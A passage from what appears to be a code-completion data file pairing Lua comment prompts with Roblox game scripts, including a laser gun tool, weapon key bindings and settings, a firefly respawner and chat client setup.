Instance.new(\"RemoteFunction\"))\nServerControl.Name = \"ServerControl\"\nServerControl.Parent = Tool\n\nClientControl = (Tool:FindFirstChild(\"ClientControl\") or Instance.new(\"RemoteFunction\"))\nClientControl.Name = \"ClientControl\"\nClientControl.Parent = Tool\n\nServerControl.OnServerInvoke = (function(player, Mode, Value, arg)\n\tif player ~= Player or Humanoid.Health == 0 or not Tool.Enabled then\n\t\treturn\n\tend\n\tif Mode == \"Click\" and Value then\n\t\tActivated(arg)\n\tend\nend)\n\nfunction InvokeClient(Mode, Value)\n\tpcall(function()\n\t\tClientControl:InvokeClient(Player, Mode, Value)\n\tend)\nend\n\nfunction TagHumanoid(humanoid, player)\n\tlocal Creator_Tag = Instance.new(\"ObjectValue\")\n\tCreator_Tag.Name = \"creator\"\n\tCreator_Tag.Value = player\n\tDebris:AddItem(Creator_Tag, 2)\n\tCreator_Tag.Parent = humanoid\nend\n\nfunction UntagHumanoid(humanoid)\n\tfor i, v in pairs(humanoid:GetChildren()) do\n\t\tif v:IsA(\"ObjectValue\") and v.Name == \"creator\" then\n\t\t\tv:Destroy()\n\t\tend\n\tend\nend\n\nfunction FindCharacterAncestor(Parent)\n\tif Parent and Parent ~= game:GetService(\"Workspace\") then\n\t\tlocal humanoid = Parent:FindFirstChild(\"Humanoid\")\n\t\tif humanoid then\n\t\t\treturn Parent, humanoid\n\t\telse\n\t\t\treturn FindCharacterAncestor(Parent.Parent)\n\t\tend\n\tend\n\treturn nil\nend\n\nfunction GetTransparentsRecursive(Parent, PartsTable)\n\tlocal PartsTable = (PartsTable or {})\n\tfor i, v in pairs(Parent:GetChildren()) do\n\t\tlocal TransparencyExists = false\n\t\tpcall(function()\n\t\t\tlocal Transparency = v[\"Transparency\"]\n\t\t\tif Transparency then\n\t\t\t\tTransparencyExists = true\n\t\t\tend\n\t\tend)\n\t\tif TransparencyExists then\n\t\t\ttable.insert(PartsTable, v)\n\t\tend\n\t\tGetTransparentsRecursive(v, PartsTable)\n\tend\n\treturn PartsTable\nend\n\nfunction SelectionBoxify(Object)\n\tlocal SelectionBox = Instance.new(\"SelectionBox\")\n\tSelectionBox.Adornee = Object\n\tSelectionBox.Color = BrickColor.new(\"Really black\")\n\tSelectionBox.Parent = Object\n\treturn SelectionBox\nend\n\nlocal function Light(Object)\n\tlocal Light = PointLight:Clone()\n\tLight.Range = (Light.Range + 2)\n\tLight.Parent = Object\nend\n\nfunction FadeOutObjects(Objects, FadeIncrement)\n\trepeat\n\t\tlocal LastObject = nil\n\t\tfor i, v in pairs(Objects) do\n\t\t\tv.Transparency = (v.Transparency + FadeIncrement)\n\t\t\tLastObject = v\n\t\tend\n\t\twait()\n\tuntil LastObject.Transparency >= 1 or not LastObject\nend\n\nfunction Dematerialize(character, humanoid, FirstPart)\n\tif not character or not humanoid then\n\t\treturn\n\tend\n\t\n\thumanoid.WalkSpeed = 0\n\n\tlocal Parts = {}\n\t\n\tfor i, v in pairs(character:GetChildren()) do\n\t\tif v:IsA(\"BasePart\") then\n\t\t\tv.Anchored = true\n\t\t\ttable.insert(Parts, v)\n\t\telseif v:IsA(\"LocalScript\") or v:IsA(\"Script\") then\n\t\t\tv:Destroy()\n\t\tend\n\tend\n\n\tlocal SelectionBoxes = {}\n\n\tlocal FirstSelectionBox = SelectionBoxify(FirstPart)\n\tLight(FirstPart)\n\twait(0.05)\n\n\tfor i, v in pairs(Parts) do\n\t\tif v ~= FirstPart then\n\t\t\ttable.insert(SelectionBoxes, SelectionBoxify(v))\n\t\t\tLight(v)\n\t\tend\n\tend\n\n\tlocal ObjectsWithTransparency = GetTransparentsRecursive(character)\n\tFadeOutObjects(ObjectsWithTransparency, 0.1)\n\n\twait(4)\n\n\tcharacter:BreakJoints()\n\thumanoid.Health = 0\n\t\n\tDebris:AddItem(character, 2)\n\n\tlocal FadeIncrement = 0.05\n\tDelay(0.2, function()\n\t\tFadeOutObjects({FirstSelectionBox}, FadeIncrement)\n\t\tif character and character.Parent then\n\t\t\tcharacter:Destroy()\n\t\tend\n\tend)\n\tFadeOutObjects(SelectionBoxes, FadeIncrement)\nend\n\nfunction Touched(Projectile, Hit)\n\tif not Hit or not Hit.Parent then\n\t\treturn\n\tend\n\tlocal character, humanoid = FindCharacterAncestor(Hit)\n\tif character and humanoid and character ~= Character then\n\t\tlocal ForceFieldExists = false\n\t\tfor i, v in pairs(character:GetChildren()) do\n\t\t\tif v:IsA(\"ForceField\") then\n\t\t\t\tForceFieldExists = true\n\t\t\tend\n\t\tend\n\t\tif not ForceFieldExists then\n\t\t\tif Projectile then\n\t\t\t\tlocal HitFadeSound = Projectile:FindFirstChild(Sounds.HitFade.Name)\n\t\t\t\tlocal torso = humanoid.Torso\n\t\t\t\tif HitFadeSound and torso then\n\t\t\t\t\tHitFadeSound.Parent = torso\n\t\t\t\t\tHitFadeSound:Play()\n\t\t\t\tend\n\t\t\tend\n\t\t\tDematerialize(character, humanoid, Hit)\n\t\tend\n\t\tif Projectile and Projectile.Parent then\n\t\t\tProjectile:Destroy()\n\t\tend\n\tend\nend\n\nfunction Equipped()\n\tCharacter = Tool.Parent\n\tPlayer = Players:GetPlayerFromCharacter(Character)\n\tHumanoid = Character:FindFirstChild(\"Humanoid\")\n\tif not Player or not Humanoid or Humanoid.Health == 0 then\n\t\treturn\n\tend\nend\n\nfunction Activated(target)\n\tif Tool.Enabled and Humanoid.Health > 0 then\n\t\tTool.Enabled = false\n\n\t\tInvokeClient(\"PlaySound\", Sounds.Fire)\n\n\t\tlocal HandleCFrame = Handle.CFrame\n\t\tlocal FiringPoint = HandleCFrame.p + HandleCFrame:vectorToWorldSpace(NozzleOffset)\n\t\tlocal ShotCFrame = CFrame.new(FiringPoint, target)\n\n\t\tlocal LaserShotClone = BaseShot:Clone()\n\t\tLaserShotClone.CFrame = ShotCFrame + (ShotCFrame.lookVector * (BaseShot.Size.Z / 2))\n\t\tlocal BodyVelocity = Instance.new(\"BodyVelocity\")\n\t\tBodyVelocity.velocity = ShotCFrame.lookVector * Speed\n\t\tBodyVelocity.Parent = LaserShotClone\n\t\tLaserShotClone.Touched:connect(function(Hit)\n\t\t\tif not Hit or not Hit.Parent then\n\t\t\t\treturn\n\t\t\tend\n\t\t\tTouched(LaserShotClone, Hit)\n\t\tend)\n\t\tDebris:AddItem(LaserShotClone, Duration)\n\t\tLaserShotClone.Parent = game:GetService(\"Workspace\")\n\n\t\twait(0.6) -- FireSound length\n\n\t\tInvokeClient(\"PlaySound\", Sounds.Reload)\n\t\tPlayer.Character.Humanoid:LoadAnimation(script.Parent.Reload):Play()\n\t\t\n\t\twait(3.5) -- ReloadSound length\n\n\t\tTool.Enabled = true\n\tend\nend\n\nfunction Unequipped()\n\t\nend\n\nBaseShot = Instance.new(\"Part\")\nBaseShot.Name = \"Effect\"\nBaseShot.BrickColor = BrickColor.new(\"Institutional white\")\nBaseShot.Material = Enum.Material.Neon\nBaseShot.Shape = Enum.PartType.Block\nBaseShot.TopSurface = Enum.SurfaceType.Smooth\nBaseShot.BottomSurface = Enum.SurfaceType.Smooth\nBaseShot.FormFactor = Enum.FormFactor.Custom\nBaseShot.Size = Vector3.new(0.2, 0.2, 3)\nBaseShot.CanCollide = false\nBaseShot.Locked = true\nSelectionBoxify(BaseShot)\nLight(BaseShot)\nBaseShotSound = Sounds.HitFade:Clone()\nBaseShotSound.Parent = BaseShot\n\nTool.Equipped:connect(Equipped)\nTool.Unequipped:connect(Unequipped)\n"} +{"prompt": "-- Spawn a new firefly from the center when one flew too far", "completion": "\n\nlocal Model = script.Parent\n\nlocal Fly = Model.FireFly:Clone() -- Clone a fly from the start\n\nModel.ChildRemoved:connect(function() -- When a fly got removed when he flew too far, paste a clone to spawn a new one\n\tif Model:FindFirstChild(\"Center\") then\n\t\tlocal newFly = Fly:Clone()\n\t\tnewFly.Position = Model.Center.CenterPart.Position\n\t\tnewFly.Parent = Model\n\tend\nend)\n"} +{"prompt": "----------------------------------------------------------------------------------------------\n------------------------------------[TECLAS]--------------------------------------------------\n----------------------------------------------------------------------------------------------", "completion": "\n\nlocal Laserdebounce = false\n\nMouse.KeyDown:connect(function(key)\nif (key == \"v\") and Equipped and Settings.FireModes.ChangeFiremode then\n\tFireMode()\nend\nif (key == \"t\") and Equipped and (not NVG or ArmaClone.AimPart:FindFirstChild(\"NVAim\") == nil) then\n\tif Aiming then\n\t\tif ArmaClone:FindFirstChild(\"AimPart2\") ~= nil then\n\t\t\tif AimPartMode == 1 then\n\t\t\t\tAimPartMode = 2\n\t\t\t\ttweenFoV(Settings.ChangeFOV[2],120)\n\t\t\t\tif Settings.FocusOnSight2 and Aiming then\n\t\t\t\t\tTS:Create(StatusClone.Efeitos.Aim,TweenInfo.new(.75),{ImageTransparency = 0}):Play()\n\t\t\t\telse\n\t\t\t\t\tTS:Create(StatusClone.Efeitos.Aim,TweenInfo.new(.3),{ImageTransparency = 1}):Play()\n\t\t\t\tend\n\t\t\t\tif Settings.ZoomAnim then\n\t\t\t\t\tZoomAnim()\n\t\t\t\t\tSprint()\n\t\t\t\tend\n\t\t\telseif AimPartMode == 2 then\n\t\t\t\tAimPartMode = 1\n\t\t\t\ttweenFoV(Settings.ChangeFOV[1],120)\n\t\t\t\tif Settings.FocusOnSight and Aiming then\n\t\t\t\t\tTS:Create(StatusClone.Efeitos.Aim,TweenInfo.new(.75),{ImageTransparency = 0}):Play()\n\t\t\t\telse\n\t\t\t\t\tTS:Create(StatusClone.Efeitos.Aim,TweenInfo.new(.3),{ImageTransparency = 1}):Play()\n\t\t\t\tend\n\t\t\t\tif Settings.ZoomAnim then\n\t\t\t\t\tUnZoomAnim()\n\t\t\t\t\tSprint()\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\tif AimPartMode == 1 then\n\t\t\t\tAimPartMode = 2\n\t\t\t\ttweenFoV(Settings.ChangeFOV[2], 120)\n\t\t\t\tif Settings.FocusOnSight2 and Aiming then\n\t\t\t\t\tTS:Create(StatusClone.Efeitos.Aim,TweenInfo.new(.75),{ImageTransparency = 0}):Play()\n\t\t\t\telse\n\t\t\t\t\tTS:Create(StatusClone.Efeitos.Aim,TweenInfo.new(.3),{ImageTransparency = 1}):Play()\n\t\t\t\tend\n\t\t\t\tif Settings.ZoomAnim then\n\t\t\t\t\tZoomAnim()\n\t\t\t\t\tSprint()\n\t\t\t\tend\n\t\t\telseif AimPartMode == 2 then\n\t\t\t\tAimPartMode = 1\n\t\t\t\ttweenFoV(Settings.ChangeFOV[1], 120)\n\t\t\t\tif Settings.FocusOnSight and Aiming then\n\t\t\t\t\tTS:Create(StatusClone.Efeitos.Aim,TweenInfo.new(.75),{ImageTransparency = 0}):Play()\n\t\t\t\telse\n\t\t\t\t\tTS:Create(StatusClone.Efeitos.Aim,TweenInfo.new(.3),{ImageTransparency = 1}):Play()\n\t\t\t\tend\n\t\t\t\tif Settings.ZoomAnim then\n\t\t\t\t\tUnZoomAnim()\n\t\t\t\t\tSprint()\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\telse\n\t\tif AimPartMode == 1 then\n\t\t\tAimPartMode = 2\n\t\t\tif Settings.FocusOnSight2 and Aiming then\n\t\t\t\t\tTS:Create(StatusClone.Efeitos.Aim,TweenInfo.new(.75),{ImageTransparency = 0}):Play()\n\t\t\t\telse\n\t\t\t\t\tTS:Create(StatusClone.Efeitos.Aim,TweenInfo.new(.3),{ImageTransparency = 1}):Play()\n\t\t\t\tend\n\t\t\tif Settings.ZoomAnim then\n\t\t\t\tZoomAnim()\n\t\t\t\tSprint()\n\t\t\tend\n\t\telseif AimPartMode == 2 then\n\t\t\tAimPartMode = 1\n\t\t\tif Settings.FocusOnSight and Aiming then\n\t\t\t\t\tTS:Create(StatusClone.Efeitos.Aim,TweenInfo.new(.75),{ImageTransparency = 0}):Play()\n\t\t\t\telse\n\t\t\t\t\tTS:Create(StatusClone.Efeitos.Aim,TweenInfo.new(.3),{ImageTransparency = 1}):Play()\n\t\t\t\tend\n\t\t\tif Settings.ZoomAnim then\n\t\t\t\tUnZoomAnim()\n\t\t\t\tSprint()\n\t\t\tend\n\t\tend\n\tend\nend\nif (key == \"[\") and Equipped then\n\tif Zeroing.Value > Zeroing.MinValue then\n\t\tZeroing.Value = Zeroing.Value - 50\n\t\tArmaClone.Handle.Click:play()\n\t\tUpdate_Gui()\n\tend\nend\nif (key == \"]\" ) and Equipped then\n\tif Zeroing.Value < Zeroing.MaxValue then\n\t\tZeroing.Value = Zeroing.Value + 50\n\t\tArmaClone.Handle.Click:play()\n\t\tUpdate_Gui()\n\tend\nend\nif (key == \"r\") and Equipped and stance > -2 then\n\tReload()\nend\nif (key == \"f\") and Equipped and not Reloading and stance > -2 then\n\tChamber()\nend\nif (key == \"m\") and Equipped and Settings.CanCheckMag and not Reloading and stance > -2 then\n\t\t\tMouseHeld = false\n\t\t\tCan_Shoot = false\n\t\t\tReloading = true\n\n\t\t\tif Safe then\n\t\t\t\tSafe = false\n\t\t\t\tstance = 0\n\t\t\t\tEvt.Stance:FireServer(stance,Settings,Anims)\n\t\t\t\tIdleAnim()\n\t\t\t\tUpdate_Gui()\n\t\t\t\t--wait(.25)\n\t\t\tend\n\t\t\tCheckAnim()\n\t\t\tSprint()\t\t\t\n\t\t\tUpdate_Gui()\t\t\n\t\t\tCan_Shoot = true\n\t\t\tReloading = false\nend\nif (key == \"h\") and Equipped and ArmaClone:FindFirstChild(\"LaserPoint\") then\n\n\n\tif ServerConfig.RealisticLaser and ArmaClone.LaserPoint:FindFirstChild(\"IR\") ~= nil then\n\t\tif not LaserAtivo and not IRmode then\n\t\t\tLaserAtivo = not LaserAtivo\n\t\t\tIRmode = not IRmode\n\n\t\t\tif LaserAtivo then\n\n\t\t\t\tEvt.SVLaser:FireServer(Vector3.new(0,0,0),1,ArmaClone.LaserPoint.Color,ArmaClient)\n\t\t\t\tPointer = Instance.new('Part')\n\t\t\t\tPointer.Shape = 'Ball'\n\t\t\t\tPointer.Size = Vector3.new(0.2, 0.2, 0.2)\n\t\t\t\tPointer.Parent = ArmaClone.LaserPoint\n\t\t\t\tPointer.CanCollide = false\n\t\t\t\tPointer.Color = ArmaClone.LaserPoint.Color\n\t\t\t\tPointer.Material = Enum.Material.Neon\n\t\t\t\t\n\t\t\t\tif ArmaClone.LaserPoint:FindFirstChild(\"IR\") ~= nil then\n\t\t\t\t\tPointer.Transparency = 1\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tLaserSP = Instance.new('Attachment')\n\t\t\t\tLaserSP.Parent = ArmaClone.LaserPoint\t\t\t\t\n\n\t\t\t\tLaserEP = Instance.new('Attachment')\n\t\t\t\tLaserEP.Parent = ArmaClone.LaserPoint\n\t\t\t\t\n\t\t\t\tLaser = Instance.new('Beam')\n\t\t\t\tLaser.Parent = ArmaClone.LaserPoint\n\t\t\t\tLaser.Transparency = NumberSequence.new(0)\n\t\t\t\tLaser.LightEmission = 1\n\t\t\t\tLaser.LightInfluence = 0\n\t\t\t\tLaser.Attachment0 = LaserSP\n\t\t\t\tLaser.Attachment1 = LaserEP\n\t\t\t\tLaser.Color = ColorSequence.new(ArmaClone.LaserPoint.Color,IRmode)\n\t\t\t\tLaser.FaceCamera = true\n\t\t\t\tLaser.Width0 = 0.01\n\t\t\t\tLaser.Width1 = 0.01\n\n\t\t\t\tif ServerConfig.RealisticLaser then\n\t\t\t\t\tLaser.Enabled = false\n\t\t\t\tend\n\n\t\t\telse\n\t\t\t\tEvt.SVLaser:FireServer(Vector3.new(0,0,0),2,nil,ArmaClient,IRmode)\n\t\t\t\tPointer:Destroy()\n\t\t\t\tLaserSP:Destroy()\n\t\t\t\tLaserEP:Destroy()\n\t\t\t\tLaser:Destroy()\n\t\t\tend\n\n\t\t\telseif LaserAtivo and IRmode then\n\t\t\tIRmode = not IRmode\n\t\telseif LaserAtivo and not IRmode then\n\t\t\tLaserAtivo = not LaserAtivo\n\n\t\t\tif LaserAtivo then\n\n\t\t\t\tEvt.SVLaser:FireServer(Vector3.new(0,0,0),1,ArmaClone.LaserPoint.Color,ArmaClient)\n\t\t\t\tPointer = Instance.new('Part')\n\t\t\t\tPointer.Shape = 'Ball'\n\t\t\t\tPointer.Size = Vector3.new(0.2, 0.2, 0.2)\n\t\t\t\tPointer.Parent = ArmaClone.LaserPoint\n\t\t\t\tPointer.CanCollide = false\n\t\t\t\tPointer.Color = ArmaClone.LaserPoint.Color\n\t\t\t\tPointer.Material = Enum.Material.Neon\n\t\t\t\t\n\t\t\t\tif ArmaClone.LaserPoint:FindFirstChild(\"IR\") ~= nil then\n\t\t\t\t\tPointer.Transparency = 1\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tLaserSP = Instance.new('Attachment')\n\t\t\t\tLaserSP.Parent = ArmaClone.LaserPoint\t\t\t\t\n\n\t\t\t\tLaserEP = Instance.new('Attachment')\n\t\t\t\tLaserEP.Parent = ArmaClone.LaserPoint\n\t\t\t\t\n\t\t\t\tLaser = Instance.new('Beam')\n\t\t\t\tLaser.Parent = ArmaClone.LaserPoint\n\t\t\t\tLaser.Transparency = NumberSequence.new(0)\n\t\t\t\tLaser.LightEmission = 1\n\t\t\t\tLaser.LightInfluence = 0\n\t\t\t\tLaser.Attachment0 = LaserSP\n\t\t\t\tLaser.Attachment1 = LaserEP\n\t\t\t\tLaser.Color = ColorSequence.new(ArmaClone.LaserPoint.Color,IRmode)\n\t\t\t\tLaser.FaceCamera = true\n\t\t\t\tLaser.Width0 = 0.01\n\t\t\t\tLaser.Width1 = 0.01\n\n\t\t\t\tif ServerConfig.RealisticLaser then\n\t\t\t\t\tLaser.Enabled = false\n\t\t\t\tend\n\n\t\t\telse\n\t\t\t\tEvt.SVLaser:FireServer(Vector3.new(0,0,0),2,nil,ArmaClient,IRmode)\n\t\t\t\tPointer:Destroy()\n\t\t\t\tLaserSP:Destroy()\n\t\t\t\tLaserEP:Destroy()\n\t\t\t\tLaser:Destroy()\n\t\t\tend\n\n\n\t\tend\n\telse\n\t\tLaserAtivo = not LaserAtivo\n\n\t\tif LaserAtivo then\n\n\t\t\t\tEvt.SVLaser:FireServer(Vector3.new(0,0,0),1,ArmaClone.LaserPoint.Color,ArmaClient)\n\t\t\t\tPointer = Instance.new('Part')\n\t\t\t\tPointer.Shape = 'Ball'\n\t\t\t\tPointer.Size = Vector3.new(0.2, 0.2, 0.2)\n\t\t\t\tPointer.Parent = ArmaClone.LaserPoint\n\t\t\t\tPointer.CanCollide = false\n\t\t\t\tPointer.Color = ArmaClone.LaserPoint.Color\n\t\t\t\tPointer.Material = Enum.Material.Neon\n\t\t\t\t\n\t\t\t\tif ArmaClone.LaserPoint:FindFirstChild(\"IR\") ~= nil then\n\t\t\t\t\tPointer.Transparency = 1\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tLaserSP = Instance.new('Attachment')\n\t\t\t\tLaserSP.Parent = ArmaClone.LaserPoint\t\t\t\t\n\n\t\t\t\tLaserEP = Instance.new('Attachment')\n\t\t\t\tLaserEP.Parent = ArmaClone.LaserPoint\n\t\t\t\t\n\t\t\t\tLaser = Instance.new('Beam')\n\t\t\t\tLaser.Parent = ArmaClone.LaserPoint\n\t\t\t\tLaser.Transparency = NumberSequence.new(0)\n\t\t\t\tLaser.LightEmission = 1\n\t\t\t\tLaser.LightInfluence = 0\n\t\t\t\tLaser.Attachment0 = LaserSP\n\t\t\t\tLaser.Attachment1 = LaserEP\n\t\t\t\tLaser.Color = ColorSequence.new(ArmaClone.LaserPoint.Color,IRmode)\n\t\t\t\tLaser.FaceCamera = true\n\t\t\t\tLaser.Width0 = 0.01\n\t\t\t\tLaser.Width1 = 0.01\n\n\t\t\t\tif ServerConfig.RealisticLaser then\n\t\t\t\t\tLaser.Enabled = false\n\t\t\t\tend\n\n\t\t\telse\n\t\t\t\tEvt.SVLaser:FireServer(Vector3.new(0,0,0),2,nil,ArmaClient,IRmode)\n\t\t\t\tPointer:Destroy()\n\t\t\t\tLaserSP:Destroy()\n\t\t\t\tLaserEP:Destroy()\n\t\t\t\tLaser:Destroy()\n\t\t\tend\n\n\tend\n\tArmaClone.Handle.Click:play()\n\n\nend\nif (key == \"j\") and Equipped and ArmaClone:FindFirstChild(\"FlashPoint\") then\n\tLanternaAtiva = not LanternaAtiva\n\tArmaClone.Handle.Click:play()\n\t\t\tif LanternaAtiva then\n\t\t\t\tEvt.SVFlash:FireServer(true,ArmaClient,ArmaClone.FlashPoint.Light.Angle,ArmaClone.FlashPoint.Light.Brightness,ArmaClone.FlashPoint.Light.Color,ArmaClone.FlashPoint.Light.Range)\n\t\t\t\tArmaClone.FlashPoint.Light.Enabled = true\n\t\t\telse\n\t\t\t\tEvt.SVFlash:FireServer(false,ArmaClient,nil,nil,nil,nil)\n\t\t\t\tArmaClone.FlashPoint.Light.Enabled = false\n\t\t\tend\nend\nif (key == \"u\") and Equipped and ArmaClone:FindFirstChild(\"Silenciador\") then\n\tSilencer.Value = not Silencer.Value\n\tArmaClone.Handle.Click:play()\n\t\t\tif Silencer.Value == true then\n\t\t\t\tArmaClone.Silenciador.Transparency = 0\n\t\t\t\tArmaClone.SmokePart.FlashFX.Brightness = 0\n\t\t\t\tArmaClone.SmokePart:FindFirstChild(\"FlashFX[Flash]\").Rate = 0\n\n\t\t\t\tEvt.SilencerEquip:FireServer(ArmaClient,Silencer.Value)\n\t\t\t\t\n\t\t\telse\n\t\t\t\tArmaClone.Silenciador.Transparency = 1\n\t\t\t\tArmaClone.SmokePart.FlashFX.Brightness = 5\n\t\t\t\tArmaClone.SmokePart:FindFirstChild(\"FlashFX[Flash]\").Rate = 1000\n\n\t\t\t\tEvt.SilencerEquip:FireServer(ArmaClient,Silencer.Value)\n\t\t\tend\nend\nif (key == \"b\") and Equipped and BipodEnabled and ArmaClone:FindFirstChild(\"BipodPoint\") then\n\tBipod = not Bipod\n\tif Bipod == true then\n\t\tif ArmaClone.BipodPoint:FindFirstChild(\"BipodDeploy\") ~= nil then\n\t\t\tArmaClone.BipodPoint.BipodDeploy:play()\n\t\tend\n\telse\n\t\tif ArmaClone.BipodPoint:FindFirstChild(\"BipodRetract\") ~= nil then\n\t\t\tArmaClone.BipodPoint.BipodRetract:play()\n\t\tend\n\tend\nend\nif (key == \"n\") and Laserdebounce == false then\n\n\t\tif Player.Character then\n\t\tlocal helmet = Player.Character:FindFirstChild(\"Helmet\")\n\t\tif helmet then\n\t\t\tlocal nvg = helmet:FindFirstChild(\"Up\")\n\t\t\tif nvg then\n\t\t\t\tLaserdebounce = true\n\t\t\t\tdelay(.8,function()\n\t\t\t\t\tNVG = not NVG \n\n\t\tif Aiming and ArmaClone.AimPart:FindFirstChild(\"NVAim\") ~= nil then\n\t\tif NVG then\n\t\t\ttweenFoV(70,120)\n\t\t\tTS:Create(StatusClone.Efeitos.Aim,TweenInfo.new(.3),{ImageTransparency = 1}):Play()\n\t\telse\n\t\t\tif AimPartMode == 1 then\n\t\t\ttweenFoV(Settings.ChangeFOV[1],120)\n\t\t\tif Settings.FocusOnSight then\n\t\t\t\t\tTS:Create(StatusClone.Efeitos.Aim,TweenInfo.new(.75),{ImageTransparency = 0}):Play()\n\t\t\t\telse\n\t\t\t\t\tTS:Create(StatusClone.Efeitos.Aim,TweenInfo.new(.3),{ImageTransparency = 1}):Play()\n\t\t\t\tend\n\t\telseif AimPartMode == 2 then\n\t\t\ttweenFoV(Settings.ChangeFOV[2],120)\n\t\t\tif Settings.FocusOnSight2 then\n\t\t\t\t\tTS:Create(StatusClone.Efeitos.Aim,TweenInfo.new(.75),{ImageTransparency = 0}):Play()\n\t\t\t\telse\n\t\t\t\t\tTS:Create(StatusClone.Efeitos.Aim,TweenInfo.new(.3),{ImageTransparency = 1}):Play()\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\t\n\tLaserdebounce = false\t\t\nend)\n\t\t\t\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend)\n\n"} +{"prompt": "--// Rest of code after waiting for correct events.", "completion": "\n\nlocal UserInputService = game:GetService(\"UserInputService\")\nlocal RunService = game:GetService(\"RunService\")\n\nlocal Players = game:GetService(\"Players\")\nlocal LocalPlayer = Players.LocalPlayer\n\nwhile not LocalPlayer do\n\tPlayers.ChildAdded:wait()\n\tLocalPlayer = Players.LocalPlayer\nend\n\nlocal canChat = true\n\nlocal ChatDisplayOrder = 6\nif ChatSettings.ScreenGuiDisplayOrder ~= nil then\n\tChatDisplayOrder = ChatSettings.ScreenGuiDisplayOrder\nend\n\nlocal PlayerGui = LocalPlayer:WaitForChild(\"PlayerGui\")\nlocal GuiParent = Instance.new(\"ScreenGui\")\nGuiParent.Name = \"Chat\"\nGuiParent.ResetOnSpawn = false\nGuiParent.DisplayOrder = ChatDisplayOrder\nGuiParent.Parent = PlayerGui\n\nlocal DidFirstChannelsLoads = false\n\nlocal modulesFolder = script\n\nlocal moduleChatWindow = require(modulesFolder:WaitForChild(\"ChatWindow\"))\nlocal moduleChatBar = require(modulesFolder:WaitForChild(\"ChatBar\"))\nlocal moduleChannelsBar = require(modulesFolder:WaitForChild(\"ChannelsBar\"))\nlocal moduleMessageLabelCreator = require(modulesFolder:WaitForChild(\"MessageLabelCreator\"))\nlocal moduleMessageLogDisplay = require(modulesFolder:WaitForChild(\"MessageLogDisplay\"))\nlocal moduleChatChannel = require(modulesFolder:WaitForChild(\"ChatChannel\"))\nlocal moduleCommandProcessor = require(modulesFolder:WaitForChild(\"CommandProcessor\"))\n\nlocal ChatWindow = moduleChatWindow.new()\nlocal ChannelsBar = moduleChannelsBar.new()\nlocal MessageLogDisplay = moduleMessageLogDisplay.new()\nlocal CommandProcessor = moduleCommandProcessor.new()\nlocal ChatBar = moduleChatBar.new(CommandProcessor, ChatWindow)\n\nChatWindow:CreateGuiObjects(GuiParent)\n\nChatWindow:RegisterChatBar(ChatBar)\nChatWindow:RegisterChannelsBar(ChannelsBar)\nChatWindow:RegisterMessageLogDisplay(MessageLogDisplay)\n\nMessageCreatorUtil:RegisterChatWindow(ChatWindow)\n\nlocal MessageSender = require(modulesFolder:WaitForChild(\"MessageSender\"))\nMessageSender:RegisterSayMessageFunction(EventFolder.SayMessageRequest)\n\n\n\nif (UserInputService.TouchEnabled) then\n\tChatBar:SetTextLabelText(ChatLocalization:Get(\"GameChat_ChatMain_ChatBarTextTouch\",'Tap here to chat'))\nelse\n\tChatBar:SetTextLabelText(ChatLocalization:Get(\"GameChat_ChatMain_ChatBarText\",'To chat click here or press \"/\" key'))\nend\n\nspawn(function()\n\tlocal CurveUtil = require(modulesFolder:WaitForChild(\"CurveUtil\"))\n\tlocal animationFps = ChatSettings.ChatAnimationFPS or 20.0\n\n\tlocal updateWaitTime = 1.0 / animationFps\n\tlocal lastTick = tick()\n\twhile true do\n\t\tlocal currentTick = tick()\n\t\tlocal tickDelta = currentTick - lastTick\n\t\tlocal dtScale = CurveUtil:DeltaTimeToTimescale(tickDelta)\n\n\t\tif dtScale ~= 0 then\n\t\t\tChatWindow:Update(dtScale)\n\t\tend\n\n\t\tlastTick = currentTick\n\t\twait(updateWaitTime)\n\tend\nend)\n\n\n\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n--------------------=[ OUTROS ]=--------------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,FastReload = true\t\t\t\t\t--- Automatically operates the bolt on reload if needed\n\t,SlideLock = false\n\t,MoveBolt = false\n\t,BoltLock = false\n\t,CanBreachDoor = false\n\t,CanBreak = true\t\t\t\t\t--- Weapon can jam?\n\t,JamChance = 1000\t\t\t\t\t--- This old piece of brick doesn't work fine >;c\n\t,IncludeChamberedBullet = true\t\t--- Include the chambered bullet on next reload\n\t,Chambered = false\t\t\t\t\t--- Start with the gun chambered?\n\t,LauncherReady = false\t\t\t\t--- Start with the GL ready?\n\t,CanCheckMag = true\t\t\t\t\t--- You can check the magazine\n\t,ArcadeMode = false\t\t\t\t\t--- You can see the bullets left in magazine\n\t,RainbowMode = false\t\t\t\t--- Operation: Party Time xD\n\t,ModoTreino = false\t\t\t\t\t--- Surrender enemies instead of killing them\n\t,GunSize = 7\n\t,GunFOVReduction = 6.5\n\n\t,BoltExtend = Vector3.new(0, 0, 0.4)\n\t,SlideExtend = Vector3.new(0, 0, 0.4)\t"} +{"prompt": "--[=[\n\t@within Shake\n\t@type UpdateCallbackFn () -> (position: Vector3, rotation: Vector3, completed: boolean)\n]=]", "completion": "\ntype UpdateCallbackFn = () -> (Vector3, Vector3, boolean)\n\nlocal RunService = game:GetService(\"RunService\")\n\nlocal Trove = require(script.Parent.Trove)\n\nlocal rng = Random.new()\nlocal renderId = 0\n"} +{"prompt": "--!nonstrict\n--[[\n\tControlModule - This ModuleScript implements a singleton class to manage the\n\tselection, activation, and deactivation of the current character movement controller.\n\tThis script binds to RenderStepped at Input priority and calls the Update() methods\n\ton the active controller instances.\n\n\tThe character controller ModuleScripts implement classes which are instantiated and\n\tactivated as-needed, they are no longer all instantiated up front as they were in\n\tthe previous generation of PlayerScripts.\n\n\t2018 PlayerScripts Update - AllYourBlox\n--]]", "completion": "\nlocal ControlModule = {}\nControlModule.__index = ControlModule\n"} +{"prompt": "--// If this module returns a ScreenGui object, the script will use that as the gui and \n--// take care of registering and running the code module n all that.\n--// RETURNED SCREENGUI MUST CONTAIN A \"Config\" FOLDER; \n--// If no Code module is given the default code module will be used.", "completion": "\n"} +{"prompt": "--L3 = me.L3\n--L4 = me.L4\n-- \u043a\u043b\u043e\u043d\u0438\u0440\u0443\u0435\u043c \u0441\u043a\u0440\u0438\u043f\u0442 \u0443\u0440\u043e\u043d\u0430 \u0438 